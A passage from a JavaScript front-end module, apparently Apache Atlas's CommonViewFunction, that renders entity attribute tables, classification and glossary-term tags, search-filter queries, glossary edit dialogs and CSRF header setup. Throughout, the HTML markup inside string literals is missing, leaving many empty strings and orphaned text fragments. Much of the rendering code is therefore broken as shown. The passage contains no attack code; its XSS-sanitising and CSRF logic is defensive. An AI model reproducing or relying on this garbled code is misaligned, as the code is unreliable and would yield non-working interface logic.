parseInt(val);\n if (_.isNaN(newVal)) {\n newVal = val;\n } else {\n newVal = numberFormat(newVal);\n }\n }\n newVal = (options && options.isEditorValue) ? newVal : _.escape(newVal);\n return getHighlightedString(newVal);\n }\n } else {\n return getEmptyString(key);\n }\n },\n fetchInputOutputValue = function(id, defEntity) {\n var that = this;\n scope.entityModel.getEntityHeader(id, {\n success: function(serverData) {\n var value = \"\",\n deleteButton = \"\",\n data = serverData;\n value = Utils.getName(data);\n var id = \"\";\n if (data.guid) {\n if (Enums.entityStateReadOnly[data.status || data.entityStatus]) {\n deleteButton += '';\n }\n id = data.guid;\n }\n if (value.length > 0) {\n scope.$('td div[data-id=\"' + _.escape(id) + '\"]').html('' + _.escape(getValue(value)) + '');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('' + _.escape(id) + '');\n }\n if (deleteButton.length) {\n scope.$('td div[data-id=\"' + id + '\"]').addClass('block whitespace-normal readOnlyLink');\n scope.$('td div[data-id=\"' + id + '\"]').append(deleteButton);\n }\n },\n cust_error: function(error, xhr) {\n if (xhr.status == 403) {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    Not Authorized
    ');\n } else if (defEntity && defEntity.options && defEntity.options.isSoftReference === \"true\") {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + id + '
    ');\n } else {\n scope.$('td div[data-id=\"' + id + '\"]').html('
    ' + Messages.defaultErrorMessage + '
    ');\n }\n },\n complete: function() {}\n });\n },\n extractObject = function(opt) {\n var valueOfArray = [],\n keyValue = opt.keyValue,\n key = opt.key,\n defEntity = opt.defEntity;\n if (!_.isArray(keyValue) && _.isObject(keyValue)) {\n keyValue = [keyValue];\n }\n var subLink = \"\";\n for (var i = 0; i < keyValue.length; i++) {\n var inputOutputField = keyValue[i],\n id = inputOutputField.guid || (_.isObject(inputOutputField.id) ? inputOutputField.id.id : inputOutputField.id),\n tempLink = \"\",\n status = (inputOutputField.status || inputOutputField.entityStatus) || (_.isObject(inputOutputField.id) ? inputOutputField.id.state : inputOutputField.state),\n readOnly = Enums.entityStateReadOnly[status];\n if (!inputOutputField.attributes && inputOutputField.values) {\n inputOutputField['attributes'] = inputOutputField.values;\n }\n if (_.isString(inputOutputField) || _.isBoolean(inputOutputField) || _.isNumber(inputOutputField)) {\n var tempVarfor$check = inputOutputField.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n var tmpVal = getValue(inputOutputField, key)\n if (getArrayOfStringElement) {\n valueOfArray.push(getArrayOfStringElement(tmpVal, key));\n } else {\n valueOfArray.push('' + tmpVal + '');\n }\n }\n } else if ((_.isObject(inputOutputField) && (!id || isRelationshipAttr))) {\n var attributesList = inputOutputField;\n if (scope.typeHeaders && inputOutputField.typeName) {\n var typeNameCategory = scope.typeHeaders.fullCollection.findWhere({ name: inputOutputField.typeName });\n if (attributesList.attributes && typeNameCategory && typeNameCategory.get('category') === 'STRUCT') {\n attributesList = attributesList.attributes;\n }\n }\n\n if (extractJSON && extractJSON.extractKey) {\n var newAttributesList = {};\n _.each(attributesList, function(objValue, objKey) {\n var value = _.isObject(objValue) ? objValue : _.escape(objValue),\n tempVarfor$check = objKey.toString();\n if (tempVarfor$check.indexOf(\"$\") == -1) {\n if (_.isObject(extractJSON.extractKey)) {\n _.each(extractJSON.extractKey, function(extractKey) {\n if (objKey === extractKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n });\n } else if (_.isString(extractJSON.extractKey) && extractJSON.extractKey === objKey) {\n newAttributesList[_.escape(objKey)] = value;\n }\n }\n });\n valueOfArray.push(Utils.JSONPrettyPrint(newAttributesList, getValue));\n } else {\n valueOfArray.push(Utils.JSONPrettyPrint(attributesList, getValue));\n }\n }\n if (id && inputOutputField && !isRelationshipAttr) {\n var name = Utils.getName(inputOutputField);\n if ((name === \"-\" || name === id) && !inputOutputField.attributes) {\n var fetch = true;\n var fetchId = (_.isObject(id) ? id.id : id);\n fetchInputOutputValue(fetchId, defEntity);\n tempLink += '
    ';\n } else {\n if (inputOutputField.typeName == \"AtlasGlossaryTerm\") {\n tempLink += '' + name + ''\n } else {\n tempLink += '' + name + ''\n }\n }\n }\n if (readOnly) {\n if (!fetch) {\n tempLink += '';\n subLink += '
    ' + tempLink + '
    ';\n } else {\n fetch = false;\n subLink += tempLink;\n }\n\n } else {\n if (tempLink.search('href') != -1) {\n subLink += '
    ' + tempLink + '
    '\n } else if (tempLink.length) {\n subLink += tempLink\n }\n }\n }\n if (valueOfArray.length) {\n if (getArrayOfStringFormat) {\n subLink = getArrayOfStringFormat(valueOfArray, key);\n } else {\n subLink = valueOfArray.join(', ');\n }\n }\n return subLink === \"\" ? getEmptyString(key) : subLink;\n }\n var valueObjectKeysList = _.keys(_.omit(valueObject, ['paramsCount']));\n if (_.isUndefined(sortBy) || sortBy == true) {\n valueObjectKeysList = _.sortBy(valueObjectKeysList);\n }\n valueObjectKeysList.map(function(key) {\n if (key == \"profileData\") {\n return;\n }\n var keyValue = valueObject[key],\n listCount = \"\";\n if (key == \"isIncomplete\" && keyValue == false) {\n return;\n }\n if (showListCount && _.isArray(keyValue) && keyValue.length > 0) {\n listCount = (valueObject && valueObject.paramsCount != undefined) ? (numberFormat(valueObject.paramsCount) != 0) ? ' (' + numberFormat(valueObject.paramsCount) + ')' : '' : ' (' + numberFormat(keyValue.length) + ')';\n }\n var defEntity = _.find(attributeDefs, { name: key });\n if (defEntity && defEntity.typeName) {\n var defEntityType = defEntity.typeName.toLocaleLowerCase();\n if (defEntityType === 'date') {\n keyValue = moment(keyValue).isValid() ? Utils.formatDate({ date: keyValue }) : null;\n } else if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key, 'defEntity': defEntity });\n }\n } else {\n if (_.isObject(keyValue)) {\n keyValue = extractObject({ \"keyValue\": keyValue, \"key\": key });\n }\n }\n var val = \"\";\n if (_.isObject(valueObject[key])) {\n val = keyValue\n } else if (key === 'guid' || key === \"__guid\") {\n if (options.guidHyperLink === false) {\n val = getValue(keyValue, key);\n } else {\n if (isRelationshipAttr) {\n val = '' + getValue(keyValue, key) + '';\n } else {\n val = '' + getValue(keyValue, key) + '';\n }\n }\n } else {\n if (isRelationshipAttr && (key === \"createTime\" || key === \"updateTime\")) {\n val = Utils.formatDate({ date: keyValue });\n } else {\n val = getValue(keyValue, key);\n }\n }\n if (isTable) {\n var value = val,\n appendClass = (value == \"N/A\" ? \"hide-row\" : \"\"),\n htmlTag = '
    ' + value + '
    ';\n if (_.isObject(valueObject[key]) && !_.isEmpty(valueObject[key])) {\n var matchedLinkString = val.match(/href|value-loader\\w*/g),\n matchedJson = val.match(/json-value|json-string\\w*/g),\n matchedKey = val.match(/json-key\\w*/g),\n isMatchLinkStringIsSingle = matchedLinkString && matchedLinkString.length <= 5,\n isMatchJSONStringIsSingle = matchedJson && matchedJson.length == 1,\n expandCollapseButton = \"\";\n if ((matchedJson) || (matchedLinkString)) {\n var className = \"code-block fixed-height\";\n if (!isMatchJSONStringIsSingle) {\n className += \" shrink\";\n expandCollapseButton = '';\n }\n htmlTag = '
    ' + expandCollapseButton + '' + val + '
    ';\n }\n }\n table += '' + (_.escape(key) + listCount) + '' + htmlTag + '';\n } else {\n table += '' + val + '';\n }\n\n });\n return table && table.length > 0 ? table : 'No Record found!';\n }\n CommonViewFunction.tagForTable = function(obj, classificationDefCollection) {\n var traits = obj.classifications,\n tagHtml = \"\",\n addTag = \"\",\n popTag = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (traits) {\n traits.map(function(tag) {\n var className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = \"\";\n if (obj.guid === tag.entityGuid) {\n deleteIcon = '';\n } else if (obj.guid !== tag.entityGuid && tag.entityStatus === \"DELETED\") {\n deleteIcon = '';\n } else {\n className += \" propagte-classification\";\n }\n var tagObj = classificationDefCollection.fullCollection.find({ \"name\": tag.typeName }),\n tagParents = tagObj ? tagObj.get('superTypes') : null,\n parentName = tag.typeName;\n if (tagParents && tagParents.length) {\n parentName += (tagParents.length > 1) ? (\"@(\" + tagParents.join() + \")\") : (\"@\" + tagParents.join());\n }\n var tagString = '' + parentName + '' + deleteIcon + '';\n if (count >= 1) {\n popTag += tagString;\n } else {\n tagHtml += tagString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTag += '';\n } else {\n addTag += '';\n }\n }\n if (count > 1) {\n addTag += '
    ' + popTag + '
    '\n }\n return '
    ' + tagHtml + addTag + '
    ';\n }\n CommonViewFunction.termForTable = function(obj) {\n var terms = obj.meanings,\n termHtml = \"\",\n addTerm = \"\",\n popTerm = \"\",\n count = 0,\n entityName = Utils.getName(obj);\n if (terms) {\n terms.map(function(term) {\n var displayText = _.escape(term.displayText),\n gloassaryName = _.escape(term.qualifiedName) || displayText,\n className = \"btn btn-action btn-sm btn-blue btn-icon\",\n deleteIcon = '',\n termString = '' + gloassaryName + '' + deleteIcon + '';\n if (count >= 1) {\n popTerm += termString;\n } else {\n termHtml += termString;\n }\n ++count;\n });\n }\n if (!Enums.entityStateReadOnly[obj.status || obj.entityStatus]) {\n if (obj.guid) {\n addTerm += '';\n } else {\n addTerm += '';\n }\n }\n if (count > 1) {\n addTerm += '
    ' + popTerm + '
    '\n }\n return '
    ' + termHtml + addTerm + '
    ';\n }\n CommonViewFunction.generateQueryOfFilter = function(value) {\n value = Utils.getUrlState.getQueryParams();\n var entityFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.entityFilters, \"formatDate\": true }),\n tagFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.tagFilters, \"formatDate\": true }),\n relationshipFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.relationshipFilters, \"formatDate\": true }),\n queryArray = [];\n\n function objToString(filterObj) {\n var generatedQuery = _.map(filterObj.rules, function(obj, key) {\n var obj = $.extend(true, {}, obj); // not to update the timezone abbr on original obj , copy of obj is used \n if (_.has(obj, 'condition')) {\n return ' ' + _.escape(obj.condition) + ' ' + '(' + objToString(obj) + ')';\n } else {\n if (obj.type === \"date\") {\n if (Enums.queryBuilderDateRangeUIValueToAPI[obj.value]) {\n obj.value = Enums.queryBuilderDateRangeUIValueToAPI[obj.value];\n } else {\n obj.value = obj.value + \" (\" + moment.tz(moment.tz.guess()).zoneAbbr() + \")\";\n }\n }\n return '' + (Enums.systemAttributes[obj.id] ? Enums.systemAttributes[obj.id] : _.escape(obj.id)) + ' ' + _.escape(obj.operator) + ' ' + (Enums[obj.id] ? Enums[obj.id][obj.value] : _.escape(obj.value)) + \"\";\n }\n });\n return generatedQuery;\n }\n if (value.type) {\n var typeKeyValue = 'Type: ' + _.escape(value.type) + '';\n if (entityFilters) {\n var conditionForEntity = entityFilters.rules.length == 1 ? '' : 'AND';\n typeKeyValue += ' ' + conditionForEntity + ' (' + _.escape(entityFilters.condition) + ' (' + objToString(entityFilters) + '))';\n }\n queryArray.push(typeKeyValue)\n }\n if (value.tag) {\n var tagKeyValue = 'Classification: ' + _.escape(value.tag) + '';\n if (tagFilters) {\n var conditionFortag = tagFilters.rules.length == 1 ? '' : 'AND';\n tagKeyValue += ' ' + conditionFortag + ' (' + _.escape(tagFilters.condition) + ' (' + objToString(tagFilters) + '))';\n }\n queryArray.push(tagKeyValue);\n }\n if (value.relationshipName) {\n var relationshipKeyValue = 'Relationship: ' + _.escape(value.relationshipName) + '';\n if (relationshipFilters) {\n var conditionForRealtionship = (relationshipFilters.rules && relationshipFilters.rules.length == 1) ? '' : 'AND';\n relationshipKeyValue += ' ' + conditionForRealtionship + ' (' + _.escape(relationshipFilters.condition) + ' (' + objToString(relationshipFilters) + '))';\n }\n queryArray.push(relationshipKeyValue);\n }\n if (value.term) {\n var tagKeyValue = 'Term: ' + _.escape(value.term) + '';\n queryArray.push(tagKeyValue);\n }\n if (value.query) {\n queryArray.push('Query: ' + _.trim(_.escape(value.query)) + ' ');\n }\n if (queryArray.length == 1) {\n return queryArray.join();\n } else {\n return \"( \" + queryArray.join(' ) AND ( ') + \" )\";\n\n }\n }\n CommonViewFunction.generateObjectForSaveSearchApi = function(options) {\n var obj = {\n name: options.name,\n guid: options.guid\n };\n var value = options.value;\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[k];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.split(',');\n } else if (_.includes([\"tagFilters\", \"entityFilters\", \"relationshipFilters\"], k)) {\n val = CommonViewFunction.attributeFilter.generateAPIObj(val);\n } else if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = _.isUndefinedNull(val) ? true : val;\n }\n if (!obj[skey]) {\n obj[skey] = {};\n }\n obj[skey][v] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.generateUrlFromSaveSearchObject = function(options) {\n var value = options.value,\n classificationDefCollection = options.classificationDefCollection,\n entityDefCollection = options.entityDefCollection,\n relationshipDefCollection = options.relationshipDefCollection,\n obj = {};\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[skey][v];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.join(',');\n } else if (k == \"tagFilters\") {\n if (classificationDefCollection) {\n var classificationDef = classificationDefCollection.fullCollection.findWhere({ 'name': value[skey].classification }),\n attributeDefs = [];\n if (classificationDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: classificationDefCollection,\n attrMerge: true,\n data: classificationDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_CLASSIFICATION_TYPES && Globals._ALL_CLASSIFICATION_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_CLASSIFICATION_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"entityFilters\") {\n if (entityDefCollection) {\n var entityDef = entityDefCollection.fullCollection.findWhere({ 'name': value[skey].typeName }),\n attributeDefs = [];\n if (entityDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: entityDefCollection,\n attrMerge: true,\n data: entityDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_ENTITY_TYPES && Globals._ALL_ENTITY_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_ENTITY_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"relationshipFilters\") {\n if (relationshipDefCollection) {\n var relationshipDef = relationshipDefCollection.fullCollection.findWhere({ 'name': value[skey].relationshipName }),\n attributeDefs = [];\n if (relationshipDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: relationshipDefCollection,\n attrMerge: true,\n data: relationshipDef.toJSON()\n });\n }\n if (Globals[value[skey].relationshipName]) {\n attributeDefs = Globals[value[skey].relationshipName].attributeDefs;\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (_.includes([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n obj[k] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.attributeFilter = {\n generateUrl: function(options) {\n var attrQuery = [],\n attrObj = options.value,\n formatedDateToLong = options.formatedDateToLong,\n attributeDefs = options.attributeDefs,\n /* set attributeType for criterion while creating object*/\n spliter = 1;\n attrQuery = conditionalURl(attrObj, spliter);\n\n function conditionalURl(options, spliter) {\n if (options) {\n return _.map(options.rules || options.criterion, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return obj.condition + '(' + conditionalURl(obj, (spliter + 1)) + ')';\n }\n if (attributeDefs) {\n var attributeDef = _.findWhere(attributeDefs, { 'name': obj.attributeName });\n if (attributeDef) {\n obj.attributeValue = obj.attributeValue;\n obj['attributeType'] = attributeDef.typeName;\n }\n }\n var type = (obj.type || obj.attributeType),\n //obj.value will come as an object when selected type is Date and operator is isNull or not_null;\n value = ((_.isString(obj.value) && _.includes([\"is_null\", \"not_null\"], obj.operator) && type === 'date') || _.isObject(obj.value) ? \"\" : _.trim(obj.value || obj.attributeValue)),\n url = [(obj.id || obj.attributeName), mapApiOperatorToUI(obj.operator), value];\n if (obj.operator === \"TIME_RANGE\") {\n if (value.indexOf(\"-\") > -1) {\n url[2] = value.split(' - ').map(function(udKey) {\n return Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(udKey.trim())).toString() : Date.parse(udKey.trim()).toString();\n }).join(\",\")\n } else {\n url[2] = Enums.queryBuilderDateRangeUIValueToAPI[_.trim(value)] || value;\n }\n } else if (value && value.length && type === 'date' && formatedDateToLong) {\n url[2] = Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(value)) : Date.parse(value);\n }\n if (type) {\n url.push(type);\n }\n return url.join(\"::\");\n }).join('|' + spliter + '|')\n } else {\n return null;\n }\n }\n if (attrQuery.length) {\n return attrObj.condition + '(' + attrQuery + ')';\n } else {\n return null;\n }\n\n function mapApiOperatorToUI(oper) {\n // Enum will be in effect once we click on save search.\n return Enums.queryBuilderApiOperatorToUI[oper] || oper;\n }\n },\n extractUrl: function(options) {\n var attrObj = {},\n urlObj = options.value,\n formatDate = options.formatDate,\n spliter = 1,\n apiObj = options.apiObj,\n mapUiOperatorToAPI = function(oper) {\n return Enums.queryBuilderUIOperatorToAPI[oper] || oper;\n },\n createObject = function(urlObj) {\n var finalObj = {};\n finalObj['condition'] = /^AND\\(/.test(urlObj) ? \"AND\" : \"OR\";\n urlObj = finalObj.condition === \"AND\" ? urlObj.substr(4).slice(0, -1) : urlObj.substr(3).slice(0, -1);\n finalObj[apiObj ? \"criterion\" : \"rules\"] = _.map(urlObj.split('|' + spliter + '|'), function(obj, key) {\n var isStringNested = obj.split('|' + (spliter + 1) + '|').length > 1,\n isCondition = /^AND\\(/.test(obj) || /^OR\\(/.test(obj);\n if (isStringNested && isCondition) {\n ++spliter;\n return createObject(obj);\n } else if (isCondition) {\n return createObject(obj);\n } else {\n var temp = obj.split(\"::\") || obj.split('|' + spliter + '|'),\n rule = {};\n if (apiObj) {\n rule = { attributeName: temp[0], operator: mapUiOperatorToAPI(temp[1]), attributeValue: _.trim(temp[2]) }\n rule.attributeValue = rule.type === 'date' && formatDate && rule.attributeValue.length ? Utils.formatDate({ date: parseInt(rule.attributeValue), zone: false }) : rule.attributeValue;\n } else {\n rule = { id: temp[0], operator: temp[1], value: _.trim(temp[2]) }\n if (temp[3]) {\n rule['type'] = temp[3];\n }\n if (rule.operator === \"TIME_RANGE\") {\n if (temp[2].indexOf(\",\") > -1) {\n rule.value = temp[2].split(\",\").map(function(udKey) {\n return Utils.formatDate({ date: parseInt(udKey.trim()), zone: false })\n }).join(\" - \")\n } else {\n rule.value = Enums.queryBuilderDateRangeAPIValueToUI[_.trim(rule.value)] || rule.value;\n }\n } else if (rule.type === 'date' && formatDate && rule.value.length) {\n rule.value = Utils.formatDate({ date: parseInt(rule.value), zone: false })\n }\n }\n return rule;\n }\n });\n return finalObj;\n }\n //if apiObj then create object for API call else for QueryBuilder.\n if (urlObj && urlObj.length) {\n attrObj = createObject(urlObj);\n } else {\n return null;\n }\n return attrObj;\n },\n generateAPIObj: function(url) {\n if (url && url.length) {\n return this.extractUrl({ \"value\": url, \"apiObj\": true });\n } else {\n return null;\n }\n }\n }\n CommonViewFunction.createEditGlossaryCategoryTerm = function(options) {\n if (options) {\n var model = options.model,\n isTermView = options.isTermView,\n isGlossaryView = options.isGlossaryView,\n collection = options.collection;\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n if (model) {\n var longDescriptionContent = isGlossaryView ? model.get('longDescription') : model.longDescription,\n sanitizeLongDescriptionContent = \"\";\n if (longDescriptionContent) {\n sanitizeLongDescriptionContent = Utils.sanitizeHtmlContent({ data: longDescriptionContent });\n isGlossaryView ? model.set(\"longDescription\", sanitizeLongDescriptionContent) : model.longDescription = sanitizeLongDescriptionContent;\n }\n }\n //End\n }\n require([\n 'views/glossary/CreateEditCategoryTermLayoutView',\n 'views/glossary/CreateEditGlossaryLayoutView',\n 'modules/Modal',\n 'trumbowyg'\n ], function(CreateEditCategoryTermLayoutView, CreateEditGlossaryLayoutView, Modal) {\n var view = null,\n title = null;\n if (isGlossaryView) {\n view = new CreateEditGlossaryLayoutView({ \"glossaryCollection\": collection, \"model\": model });\n title = \"Glossary\";\n } else {\n view = new CreateEditCategoryTermLayoutView({ \"glossaryCollection\": collection, \"modelJSON\": model });\n title = (isTermView ? 'Term' : 'Category');\n }\n var modal = new Modal({\n \"title\": ((model ? \"Update \" : \"Create \") + title),\n \"content\": view,\n \"cancelText\": \"Cancel\",\n \"okCloses\": false,\n \"okText\": model ? \"Update\" : \"Create\",\n \"allowCancel\": true,\n \"width\": \"640px\"\n }).open();\n modal.$el.find('button.ok').attr(\"disabled\", \"true\");\n var longDescriptionEditor = modal.$el.find('textarea[data-id=longDescription]'),\n okBtn = modal.$el.find('button.ok'),\n modalOkBtn = function() {\n okBtn.removeAttr(\"disabled\");\n };\n Utils.addCustomTextEditor({ selector: longDescriptionEditor, callback: modalOkBtn, initialHide: false });\n modal.on('ok', function() {\n modal.$el.find('button.ok').showButtonLoader();\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n longDescriptionEditor.trumbowyg('html', Utils.sanitizeHtmlContent({ selector: longDescriptionEditor }));\n //End\n CommonViewFunction.createEditGlossaryCategoryTermSubmit(_.extend({ \"ref\": view, \"modal\": modal }, options));\n });\n modal.on('closeModal', function() {\n modal.trigger('cancel');\n if (options.onModalClose) {\n options.onModalClose()\n }\n longDescriptionEditor.trumbowyg('closeModal');\n });\n });\n }\n CommonViewFunction.createEditGlossaryCategoryTermSubmit = function(options) {\n if (options) {\n var ref = options.ref,\n modal = options.modal,\n model = options.model,\n node = options.node,\n isTermView = options.isTermView,\n isCategoryView = options.isCategoryView,\n collection = options.collection,\n isGlossaryView = options.isGlossaryView,\n data = ref.ui[(isGlossaryView ? \"glossaryForm\" : \"categoryTermForm\")].serializeArray().reduce(function(obj, item) {\n obj[item.name] = item.value.trim();\n return obj;\n }, {}),\n newModel = new options.collection.model(),\n messageType = \"Glossary \";\n }\n if (isTermView) {\n messageType = \"Term \";\n } else if (isCategoryView) {\n messageType = \"Category \";\n }\n var ajaxOptions = {\n silent: true,\n success: function(rModel, response) {\n var msgType = model ? \"editSuccessMessage\" : \"addSuccessMessage\";\n Utils.notifySuccess({\n content: messageType + ref.ui.name.val() + Messages.getAbbreviationMsg(false, msgType)\n });\n if (options.callback) {\n options.callback(rModel);\n }\n modal.trigger('closeModal');\n },\n cust_error: function() {\n modal.$el.find('button.ok').hideButtonLoader();\n }\n }\n if (model) {\n if (isGlossaryView) {\n model.clone().set(data, { silent: true }).save(null, ajaxOptions)\n } else {\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n\n } else {\n if (isGlossaryView) {\n new collection.model().set(data).save(null, ajaxOptions);\n } else {\n if (node) {\n var key = \"anchor\",\n guidKey = \"glossaryGuid\";\n data[\"anchor\"] = {\n \"glossaryGuid\": node.glossaryId || node.guid,\n \"displayText\": node.glossaryName || node.text\n }\n if (node.type == \"GlossaryCategory\") {\n data[\"parentCategory\"] = {\n \"categoryGuid\": node.guid\n }\n }\n }\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n data: JSON.stringify(data),\n }));\n }\n }\n }\n CommonViewFunction.removeCategoryTermAssociation = function(options) {\n if (options) {\n var selectedGuid = options.selectedGuid,\n termGuid = options.termGuid,\n isCategoryView = options.isCategoryView,\n isTermView = options.isTermView,\n isEntityView = options.isEntityView,\n collection = options.collection,\n model = options.model,\n newModel = new options.collection.model(),\n noticeRef = null,\n ajaxOptions = {\n success: function(rModel, response) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: ((isCategoryView || isEntityView ? \"Term\" : \"Category\") + \" association is removed successfully\")\n });\n if (options.callback) {\n options.callback();\n }\n },\n cust_error: function() {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n },\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.buttonText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n if (isEntityView && model) {\n var data = [model];\n newModel.removeTermFromEntity(termGuid, _.extend(ajaxOptions, {\n data: JSON.stringify(data)\n }))\n } else {\n var data = _.extend({}, model);\n if (isTermView) {\n data.categories = _.reject(data.categories, function(term) { return term.categoryGuid == selectedGuid });\n } else {\n data.terms = _.reject(data.terms, function(term) { return term.termGuid == selectedGuid });\n }\n\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n },\n cancel: function() {}\n };\n Utils.notifyConfirm(notifyObj);\n }\n }\n CommonViewFunction.addRestCsrfCustomHeader = function(xhr, settings) {\n if (null != settings.url) {\n var method = settings.type;\n var csrfToken = CommonViewFunction.restCsrfValue;\n null == CommonViewFunction.restCsrfCustomHeader || CommonViewFunction.restCsrfMethodsToIgnore[method] || xhr.setRequestHeader(CommonViewFunction.restCsrfCustomHeader, csrfToken);\n }\n }\n CommonViewFunction.restCsrfCustomHeader = null;\n CommonViewFunction.restCsrfMethodsToIgnore = null;\n CommonViewFunction.userDataFetch = function(options) {\n var csrfEnabled = false,\n header = null,\n methods = [];\n\n function getTrimmedStringArrayValue(string) {\n var str = string,\n array = [];\n if (str) {\n var splitStr = str.split(',');\n for (var i = 0; i < splitStr.length; i++) {\n array.push(splitStr[i].trim());\n }\n }\n return array;\n }\n if (options.url) {\n $.ajax({\n url: options.url,\n success: function(response) {\n if (response) {\n if (response['atlas.rest-csrf.enabled']) {\n var str = \"\" + response['atlas.rest-csrf.enabled'];\n csrfEnabled = (str.toLowerCase() == 'true');\n }\n if (response[\"atlas.rest-csrf.custom-header\"] && (header = response[\"atlas.rest-csrf.custom-header\"].trim()),\n response[\"atlas.rest-csrf.methods-to-ignore\"] && (methods = getTrimmedStringArrayValue(response[\"atlas.rest-csrf.methods-to-ignore\"])),\n csrfEnabled) {\n CommonViewFunction.restCsrfCustomHeader = header, CommonViewFunction.restCsrfMethodsToIgnore = {},\n CommonViewFunction.restCsrfValue = response[\"_csrfToken\"] || '\"\"',\n methods.map(function(method) {\n CommonViewFunction.restCsrfMethodsToIgnore[method] = !0;\n });\n var statusCodeErrorFn = function(error) {\n Utils.defaultErrorHandler(null, error)\n }\n Backbone.$.ajaxSetup({\n statusCode: {\n 401: statusCodeErrorFn,\n 419: statusCodeErrorFn,\n 403: statusCodeErrorFn\n },\n beforeSend: CommonViewFunction.addRestCsrfCustomHeader\n });\n }\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response.responseJSON);\n }\n }\n });\n }\n }\n CommonViewFunction.CheckDuplicateAndEmptyInput = function(elements, datalist) {\n var keyMap = new Map(),\n validation = true,\n hasDup = [];\n for (var i = 0; i < elements.length; i++) {\n var input = elements[i],\n pEl = input.nextElementSibling,\n classes = 'form-control',\n val = input.value.trim();\n pEl.innerText = \"\";\n\n if (val === '') {\n validation = false;\n pEl.innerText = 'Required!';\n } else if (val.includes(':')) {\n validation = false;\n var errorText = $(\".errorMsg[data-id='charSupportMsg']\").text();\n if (errorText && errorText.length === 0) {\n pEl.innerText = \"These special character '(:)' are not supported.\";\n }\n } else {\n if (input.tagName === 'INPUT') {\n var duplicates = datalist.filter(function(c) {\n return c.key === val;\n });\n if (keyMap.has(val) || duplicates.length > 1) {\n classes = 'form-control errorClass';\n hasDup.push('duplicate');\n pEl.innerText = 'Duplicate key';\n } else {\n keyMap.set(val, val);\n }\n }\n }\n if (validation === false) {\n classes = 'form-control errorClass';\n }\n input.setAttribute('class', classes);\n }\n return {\n validation: validation,\n hasDuplicate: (hasDup.length === 0 ? false : true)\n };\n }\n CommonViewFunction.getRandomIdAndAnchor = function() {\n var randomId = \"collapse_\" + parseInt((Math.random() * 100)) + \"_\" + new Date().getUTCMilliseconds();\n return {\n id: randomId,\n anchor: \"#\" + randomId\n };\n }\n CommonViewFunction.udKeysStringParser = function(udKeys) {\n var o = {};\n _.each(udKeys.split(','), function(udKey) {\n var ud = udKey.split(':');\n o[ud[0]] = ud[1];\n })\n return o;\n }\n CommonViewFunction.udKeysObjectToStringParser = function(udKeys) {\n var list = _.map(udKeys, function(udKey) {\n var t = udKey.key + ':' + udKey.value;\n return t;\n });\n return list.join(',');\n }\n CommonViewFunction.fetchRootEntityAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.entity, function(rootEntity) {\n Globals[rootEntity] = $.extend(true, {}, response, { 